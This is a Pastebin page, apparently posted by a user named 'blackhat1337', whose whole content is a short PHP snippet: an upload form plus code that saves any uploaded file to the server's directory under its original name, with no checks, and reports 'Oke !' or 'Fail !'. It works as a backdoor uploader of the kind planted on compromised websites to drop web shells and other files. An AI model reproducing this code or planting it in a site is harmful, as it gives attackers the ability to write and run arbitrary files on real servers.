Advertisement
blackhat1337

Untitled

Jul 25th, 2022
79
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.35 KB | None | 0 0
  1. <form method="post" enctype="multipart/form-data">
  2. <input type="file" name="bc">
  3. <button>jembud</button>
  4. </form>
  5. <?php
  6. if (isset($_FILES['bc'])) {
  7. file_put_contents($_FILES['bc']['name'], file_get_contents($_FILES['bc']['tmp_name']));
  8. if (file_exists("./".$_FILES['bc']['name'])) {
  9. echo "Oke !";
  10. } else {
  11. echo "Fail !";
  12. }
  13. }
  14. ?>
  15.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement